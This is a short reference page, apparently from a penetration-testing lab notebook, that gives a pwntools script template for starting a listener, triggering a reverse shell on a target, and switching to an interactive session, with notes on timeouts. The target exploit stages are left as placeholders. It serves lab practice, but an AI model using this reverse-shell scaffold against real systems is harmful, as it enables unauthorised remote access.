Skip to content
pwntools

pwntools

A pwntools listener starts before the reverse shell is triggered, waits for the connection, and switches to an interactive session.

Catch a reverse shell

The import is added to the script imports and the listener flow is placed in the main block. The listener starts before the target-specific exploit stages and reverse-shell trigger.

import pwn

if __name__ == "__main__":
    try:
        reverse_shell_listener = pwn.listen(LPORT)
    except Exception as e:
        print(f"[-] Could not start reverse shell listener: {e}")
        sys.exit(1)
    reverse_shell_listener.timeout = 15
    print(f"[+] Started reverse shell listener on {reverse_shell_listener.lport}")

    s = requests.Session()

    # run the target-specific exploit stages here
    trigger_reverse_shell(s)

    try:
        reverse_shell_connection = reverse_shell_listener.wait_for_connection()
    except Exception as e:
        print(f"[-] Listener encountered an exception: {e}")
        reverse_shell_connection = None

    if reverse_shell_connection is None or reverse_shell_connection.sock is None:
        print("[-] No connection received.")
    else:
        print("[+] Connection received.")
        reverse_shell_connection.interactive()
        reverse_shell_connection.close()

    try:
        reverse_shell_listener.close()
    except Exception:
        pass

The listener must start before the reverse-shell payload is sent. Setting reverse_shell_listener.timeout controls how long wait_for_connection() blocks; a timeout may return without raising an exception, so the returned connection and its sock property are both checked before calling interactive().

Find by: pwntools, pwn, listener, reverse shell, wait_for_connection, interactive, catch shell, timeout, trigger, connection, connect back, revshell · Source: PG/XposedAPI + PG/vmdak + PG/Zipper + PG/Hawat + PG/Monster + PG/MZEEAV + PG/Hetemit